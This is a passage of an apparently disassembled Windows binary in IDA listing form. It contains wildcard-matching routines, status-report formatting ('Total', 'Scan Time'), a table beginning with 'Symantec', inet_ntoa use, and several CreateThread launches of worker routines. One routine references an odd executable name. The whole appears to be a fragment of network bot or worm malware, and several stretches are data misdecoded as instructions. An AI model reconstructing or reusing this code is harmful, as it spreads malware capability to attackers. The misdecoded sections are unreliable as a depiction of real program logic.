		mov	ds:byte_440B50[eax], cl
		retn
sub_40B287	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2C4	proc near		; CODE XREF: seg000:00409810p
					; sub_40B3EC+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_40B326
; ---------------------------------------------------------------------------


loc_40B2D0:				; CODE XREF: sub_40B2C4+66j
		cmp	eax, 1
		jnz	short loc_40B337
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B337
		cmp	cl, 2Ah
		jz	short loc_40B30F
		cmp	cl, 3Fh
		jz	short loc_40B2F4
		cmp	cl, 5Bh
		jz	short loc_40B2F9
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B2F4:				; CODE XREF: sub_40B2C4+22j
		inc	[ebp+arg_4]
		jmp	short loc_40B322
; ---------------------------------------------------------------------------


loc_40B2F9:				; CODE XREF: sub_40B2C4+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B358
		mov	esi, [ebp+arg_0]
		jmp	short loc_40B320
; ---------------------------------------------------------------------------


loc_40B30F:				; CODE XREF: sub_40B2C4+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B3EC
		mov	esi, [ebp+arg_0]
		dec	esi


loc_40B320:				; CODE XREF: sub_40B2C4+49j
		pop	ecx
		pop	ecx


loc_40B322:				; CODE XREF: sub_40B2C4+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_40B326:				; CODE XREF: sub_40B2C4+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40B2D0
		jmp	short loc_40B337
; ---------------------------------------------------------------------------


loc_40B32E:				; CODE XREF: sub_40B2C4+76j
		cmp	eax, 1
		jnz	short loc_40B353
		inc	esi
		mov	[ebp+arg_0], esi


loc_40B337:				; CODE XREF: sub_40B2C4+Fj
					; sub_40B2C4+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_40B32E
		cmp	eax, 1
		jnz	short loc_40B353
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B353
		cmp	byte ptr [esi],	0
		jnz	short loc_40B353
		xor	eax, eax
		inc	eax
		jmp	short loc_40B355
; ---------------------------------------------------------------------------


loc_40B353:				; CODE XREF: sub_40B2C4+6Dj
					; sub_40B2C4+7Bj ...
		xor	eax, eax


loc_40B355:				; CODE XREF: sub_40B2C4+8Dj
		pop	esi
		pop	ebp
		retn
sub_40B2C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40B2C4+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B379
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B379:				; CODE XREF: sub_40B358+19j
		push	ebx
		push	esi


loc_40B37B:				; CODE XREF: sub_40B358+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B389
		cmp	[ebp+var_4], eax
		jnz	short loc_40B3D1


loc_40B389:				; CODE XREF: sub_40B358+2Aj
		test	edi, edi
		jnz	short loc_40B3C6
		cmp	bl, 2Dh
		jnz	short loc_40B3BA
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_40B3BA
		cmp	al, 5Dh
		jz	short loc_40B3BA
		cmp	[ebp+var_4], edi
		jnz	short loc_40B3BA
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B3C6
		cmp	bl, al
		jg	short loc_40B3C6
		mov	[edx], esi
		jmp	short loc_40B3C3
; ---------------------------------------------------------------------------


loc_40B3BA:				; CODE XREF: sub_40B358+38j
					; sub_40B358+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B3C6


loc_40B3C3:				; CODE XREF: sub_40B358+60j
		xor	edi, edi
		inc	edi


loc_40B3C6:				; CODE XREF: sub_40B358+33j
					; sub_40B358+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_40B37B
; ---------------------------------------------------------------------------


loc_40B3D1:				; CODE XREF: sub_40B358+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B3DE
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B3DE:				; CODE XREF: sub_40B358+7Ej
		cmp	edi, eax
		jnz	short loc_40B3E7
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B3E7:				; CODE XREF: sub_40B358+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3EC	proc near		; CODE XREF: sub_40B2C4+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_40B41C
; ---------------------------------------------------------------------------


loc_40B406:				; CODE XREF: sub_40B3EC+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_40B417
		cmp	dl, 2Ah
		jnz	short loc_40B429
		cmp	dl, 3Fh
		jnz	short loc_40B41A


loc_40B417:				; CODE XREF: sub_40B3EC+1Fj
		inc	ecx
		mov	[edi], ecx


loc_40B41A:				; CODE XREF: sub_40B3EC+29j
		inc	dword ptr [esi]


loc_40B41C:				; CODE XREF: sub_40B3EC+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B406
		jmp	short loc_40B429
; ---------------------------------------------------------------------------


loc_40B426:				; CODE XREF: sub_40B3EC+40j
		inc	eax
		mov	[esi], eax


loc_40B429:				; CODE XREF: sub_40B3EC+24j
					; sub_40B3EC+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_40B426
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_40B44B
		cmp	[eax], bl
		jz	short loc_40B43E
		xor	eax, eax
		jmp	short loc_40B4A8
; ---------------------------------------------------------------------------


loc_40B43E:				; CODE XREF: sub_40B3EC+4Cj
		cmp	dl, bl
		jnz	short loc_40B44B
		cmp	[eax], bl
		jnz	short loc_40B44B
		xor	eax, eax
		inc	eax
		jmp	short loc_40B4A8
; ---------------------------------------------------------------------------


loc_40B44B:				; CODE XREF: sub_40B3EC+48j
					; sub_40B3EC+54j ...
		push	ecx
		push	eax
		call	sub_40B2C4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B492


loc_40B458:				; CODE XREF: sub_40B3EC+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_40B46A
; ---------------------------------------------------------------------------


loc_40B45E:				; CODE XREF: sub_40B3EC+86j
		cmp	cl, 5Bh
		jz	short loc_40B474
		cmp	dl, bl
		jz	short loc_40B474
		inc	eax
		mov	[edi], eax


loc_40B46A:				; CODE XREF: sub_40B3EC+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_40B45E


loc_40B474:				; CODE XREF: sub_40B3EC+75j
					; sub_40B3EC+79j
		cmp	[eax], bl
		jz	short loc_40B489
		push	eax
		push	dword ptr [esi]
		call	sub_40B2C4
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B48E
; ---------------------------------------------------------------------------


loc_40B489:				; CODE XREF: sub_40B3EC+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B48E:				; CODE XREF: sub_40B3EC+9Bj
		cmp	eax, ebx
		jnz	short loc_40B458


loc_40B492:				; CODE XREF: sub_40B3EC+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B4A5
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B4A5
		mov	[ebp+var_4], 1


loc_40B4A5:				; CODE XREF: sub_40B3EC+AAj
					; sub_40B3EC+B0j
		mov	eax, [ebp+var_4]


loc_40B4A8:				; CODE XREF: sub_40B3EC+50j
					; sub_40B3EC+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B3EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4AD	proc near		; CODE XREF: seg000:004045E6p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_432F38
		push	eax
		xor	ebx, ebx
		call	sub_41BA76
		cmp	ds:dword_432A90, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B51F
		push	esi
		mov	esi, offset dword_432A98


loc_40B4E0:				; CODE XREF: sub_40B4AD+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B515
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_432F2C
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C3D0
		add	esp, 1Ch


loc_40B515:				; CODE XREF: sub_40B4AD+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B4E0
		pop	esi


loc_40B51F:				; CODE XREF: sub_40B4AD+2Bj
		push	ds:dword_4CD93C
		call	sub_41AA78
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C3D0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4152AE
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B4AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57B	proc near		; CODE XREF: seg000:004045D0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, ds:dword_4D06F4
		mov	ecx, ds:dword_4D06F0
		push	esi
		push	ds:dword_4CD93C
		lea	esi, [ecx+eax]
		call	sub_41AA78
		push	eax
		push	esi
		push	ds:dword_4D06F4
		lea	eax, [ebp+var_200]
		push	ds:dword_4D06F0
		push	offset unk_432F58
		push	eax
		call	sub_41BA76
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4152AE
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40B57B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5E6	proc near		; CODE XREF: seg000:004045BAp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ds:dword_4CD93C
		call	sub_41AA78
		push	eax
		lea	eax, [ebp+var_200]
		push	ds:dword_4D0924
		push	offset unk_432FA0
		push	eax
		call	sub_41BA76
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4152AE
		add	esp, 2Ch
		leave
		retn
sub_40B5E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B63A	proc near		; CODE XREF: seg000:004045A4p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BD10
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_432FEC
		push	eax
		call	sub_41BA76
		cmp	ds:dword_432A90, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B6A6
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B66F:				; CODE XREF: sub_40B63A+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_432FDC
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C3D0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B66F
		pop	esi


loc_40B6A6:				; CODE XREF: sub_40B63A+2Dj
		push	ds:dword_4CD93C
		call	sub_41AA78
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C3D0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4152AE
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40B63A	endp

; ---------------------------------------------------------------------------
dword_40B700	dd 81EC8B55h, 3F0ECh, 8458B00h,	6A575653h, 59F08B4Bh, 0FECCBD8Dh
					; DATA XREF: seg000:00404BF7o
		dd 0A5F3FFFFh, 12880C7h, 10000h, 858D0000h, 0FFFFFECCh
		dd 3815FF50h, 33004CDCh, 0F84589FFh, 2A903D39h,	7D890043h
		dd 87D89FCh, 115840Fh, 90BE0000h, 0BB00432Ah, 432A68h
; ---------------------------------------------------------------------------


loc_40B754:				; CODE XREF: seg000:0040B859j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [esi]
		push	dword ptr [ebp-8]
		call	sub_40BEF1
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B84E
		push	dword ptr [esi]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebx+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_43303C
		push	eax
		call	sub_41BA76
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409966
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4152AE
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-15Ch]
		push	ebx
		push	eax
		call	sub_41BA76
		add	esp, 3Ch
		cmp	byte ptr [ebp-0A4h], 0
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B7E9
		lea	eax, [ebp-124h]


loc_40B7E9:				; CODE XREF: seg000:0040B7E1j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41BA76
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [esi]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+2Ch]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B84E:				; CODE XREF: seg000:0040B767j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		lea	esi, [ebx+28h]
		cmp	[esi], edi
		jnz	loc_40B754
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_433008
		push	eax
		call	sub_41BA76
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409966
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4152AE
		push	dword ptr [ebp-18h]
		call	sub_40B287
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 70474FE8h
		db 0, 29h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8B2	proc near		; CODE XREF: seg000:00403EBFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jle	short loc_40B8EE
		mov	eax, [ebp+arg_C]
		push	ds:dword_4CDD38[eax*8]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_43308C
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	short loc_40B901
; ---------------------------------------------------------------------------


loc_40B8EE:				; CODE XREF: sub_40B8B2+13j
		lea	eax, [ebp+var_200]
		push	offset unk_43306C
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_40B901:				; CODE XREF: sub_40B8B2+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4152AE
		add	esp, 18h
		leave
		retn
sub_40B8B2	endp

; ---------------------------------------------------------------------------


loc_40B929:				; CODE XREF: seg000:0040C1F1p
		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+138h]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BE09
		shl	eax, 6
		xor	ebx, ebx
		cmp	ds:dword_432A9C[eax], ebx
		jz	loc_40BE09
		push	5
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jnz	loc_40BBA3
		mov	eax, ds:dword_42A07C
		push	edi
		mov	esi, offset dword_4CFDF4
		push	104h
		push	esi
		push	ebx
		mov	ds:dword_4D0004, eax
		mov	ds:dword_4D0000, ebx
		call	near ptr 0B10000h
		in	eax, dx
		mov	edi, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe"
		push	103h
		push	edi
		push	offset dword_4CFEF8
		call	sub_41B7E0
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_4CFDF0, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	ds:dword_4D0088, eax
		jnz	short loc_40B9D9
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4D0008
		call	sub_41B7E0
		mov	ds:dword_4D008C, 1
		jmp	short loc_40B9F0
; ---------------------------------------------------------------------------


loc_40B9D9:				; CODE XREF: seg000:0040B9BDj
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_4D0008
		call	sub_41B7E0
		mov	ds:dword_4D008C, ebx


loc_40B9F0:				; CODE XREF: seg000:0040B9D7j
		add	esp, 0Ch
		lea	eax, [ebp-204h]
		push	esi
		push	ds:dword_4D0004
		push	offset unk_42D510
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-204h]
		push	5
		push	eax
		call	sub_40AF71
		add	esp, 1Ch
		mov	ds:dword_4CFFFC, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_4CFDF0
		push	offset byte_411915
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, ds:dword_4CFFFC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	loc_40BAF4
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_4331AC
		push	eax
		call	sub_41BA76
		add	esp, 0Ch


loc_40BA6E:				; CODE XREF: seg000:0040BAFCj
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4152AE
		mov	eax, ds:dword_4CD938
		mov	esi, offset dword_4D009C
		mov	dword ptr [esp], 104h
		push	esi
		push	ebx
		mov	ds:dword_4D02AC, eax
		mov	ds:dword_4D02A8, ebx
		call	near ptr 0B10000h
		jge	short loc_40BB07
		add	eax, [ecx]
; ---------------------------------------------------------------------------
		db 2 dup(0), 57h
; ---------------------------------------------------------------------------
		push	offset dword_4D01A0
		call	sub_41B7E0
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_4D0098, eax
		mov	eax, [ebp+140h]
		pop	edi
		mov	ds:dword_4D0330, eax
		push	7Fh
		jnz	short loc_40BB01
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4D02B0
		call	sub_41B7E0
		mov	ds:dword_4D0334, 1
		jmp	short loc_40BB18
; ---------------------------------------------------------------------------


loc_40BAEC:				; CODE XREF: seg000:0040BAFAj
		push	32h
		call	ds:dword_428064	; Sleep


loc_40BAF4:				; CODE XREF: seg000:0040BA4Dj
		cmp	ds:dword_4D0090, ebx
		jz	short loc_40BAEC
		jmp	loc_40BA6E
; ---------------------------------------------------------------------------


loc_40BB01:				; CODE XREF: seg000:0040BAD0j
		lea	eax, [ebp+98h]


loc_40BB07:				; CODE XREF: seg000:0040BA9Dj
		push	eax
		push	offset dword_4D02B0
		call	sub_41B7E0
		mov	ds:dword_4D0334, ebx


loc_40BB18:				; CODE XREF: seg000:0040BAEAj
		add	esp, 0Ch
		lea	eax, [ebp-204h]
		push	esi
		push	ds:dword_4D02AC
		push	offset unk_433178
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-204h]
		push	4
		push	eax
		call	sub_40AF71
		add	esp, 1Ch
		mov	ds:dword_4D02A4, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_4D0098
		push	offset sub_40ED60
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, ds:dword_4D02A4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	loc_40BC1C
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_433144
		push	eax
		call	sub_41BA76
		add	esp, 0Ch


loc_40BB96:				; CODE XREF: seg000:0040BC24j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4152AE
		pop	ecx


loc_40BBA3:				; CODE XREF: seg000:0040B95Ej
		mov	eax, [ebp+138h]
		mov	ecx, eax
		shl	ecx, 6
		cmp	ds:dword_432AA4[ecx], ebx
		jz	loc_40BCD0
		push	7
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jnz	loc_40BCCA
		mov	eax, ds:dword_4D0920
		cmp	[ebp+98h], bl
		mov	ds:dword_4CFD5C, eax
		mov	eax, [ebp+118h]
		mov	ds:dword_4CFD50, eax
		mov	eax, [ebp+140h]
		mov	ds:dword_4CFD58, ebx
		mov	ds:dword_4CFDE0, eax
		push	7Fh
		jnz	short loc_40BC29
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4CFD60
		call	sub_41B7E0
		mov	ds:dword_4CFDE4, 1
		jmp	short loc_40BC40
; ---------------------------------------------------------------------------


loc_40BC14:				; CODE XREF: seg000:0040BC22j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40BC1C:				; CODE XREF: seg000:0040BB75j
		cmp	ds:dword_4D0338, ebx
		jz	short loc_40BC14
		jmp	loc_40BB96
; ---------------------------------------------------------------------------


loc_40BC29:				; CODE XREF: seg000:0040BBF8j
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_4CFD60
		call	sub_41B7E0
		mov	ds:dword_4CFDE4, ebx


loc_40BC40:				; CODE XREF: seg000:0040BC12j
		add	esp, 0Ch
		lea	eax, [ebp-204h]
		push	ds:dword_4CFD5C
		push	offset unk_433114
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-204h]
		push	7
		push	eax
		call	sub_40AF71
		add	esp, 18h
		mov	ds:dword_4CFD54, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_4CFD50
		push	offset word_40EABE
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, ds:dword_4CFD54
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	loc_40BDC2
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_4330DC
		push	eax
		call	sub_41BA76
		add	esp, 0Ch


loc_40BCBD:				; CODE XREF: seg000:0040BDCAj
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4152AE
		pop	ecx


loc_40BCCA:				; CODE XREF: seg000:0040BBC4j
		mov	eax, [ebp+138h]


loc_40BCD0:				; CODE XREF: seg000:0040BBB4j
		shl	eax, 6
		cmp	ds:dword_432AA0[eax], ebx
		jz	loc_40BE09
		push	3
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jnz	loc_40BE09
		mov	esi, offset dword_4D05CC
		push	104h
		push	esi
		push	ebx
		call	near ptr 0B10000h
		push	0E8565C6Ah
		daa
		add	eax, [ecx]
		add	[ecx+3Bh], bl
		retn
; ---------------------------------------------------------------------------
		pop	ecx
		jz	short loc_40BD11
		mov	[eax], bl


loc_40BD11:				; CODE XREF: seg000:0040BD0Dj
		mov	eax, ds:dword_42A080
		mov	ds:dword_4D06E4, ebx
		mov	ds:dword_4D06D0, eax
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4D0344
		call	sub_41BA76
		mov	eax, [ebp+118h]
		pop	ecx
		pop	ecx
		mov	ds:dword_4D0340, eax
		mov	ecx, [ebp+140h]
		push	esi
		push	ds:dword_4D06D0
		mov	ds:dword_4D06DC, ecx
		mov	ecx, [ebp+144h]
		push	eax
		mov	ds:dword_4D06E0, ecx
		call	sub_40AAF8
		pop	ecx
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_42D498
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-204h]
		push	3
		push	eax
		call	sub_40AF71
		add	esp, 20h
		mov	ds:dword_4D06D8, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_4D0340
		push	offset sub_40F477
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, ds:dword_4D06D8
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jz	short loc_40BDE1
		jmp	short loc_40BDD7
; ---------------------------------------------------------------------------


loc_40BDBA:				; CODE XREF: seg000:0040BDC8j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40BDC2:				; CODE XREF: seg000:0040BC9Cj
		cmp	ds:dword_4CFDE8, ebx
		jz	short loc_40BDBA
		jmp	loc_40BCBD
; ---------------------------------------------------------------------------


loc_40BDCF:				; CODE XREF: seg000:0040BDDDj
		push	32h
		call	ds:dword_428064	; Sleep


loc_40BDD7:				; CODE XREF: seg000:0040BDB8j
		cmp	ds:dword_4D06EC, ebx
		jz	short loc_40BDCF
		jmp	short loc_40BDFC
; ---------------------------------------------------------------------------


loc_40BDE1:				; CODE XREF: seg000:0040BDB6j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_4330A8
		push	eax
		call	sub_41BA76
		add	esp, 0Ch


loc_40BDFC:				; CODE XREF: seg000:0040BDDFj
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4152AE
		pop	ecx


loc_40BE09:				; CODE XREF: seg000:0040B93Dj
					; seg000:0040B94Ej ...
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE0D	proc near		; CODE XREF: sub_40BF8E:loc_40BFF0p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CDD38h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C500
		add	esp, 0Ch
		push	[ebp+arg_0]
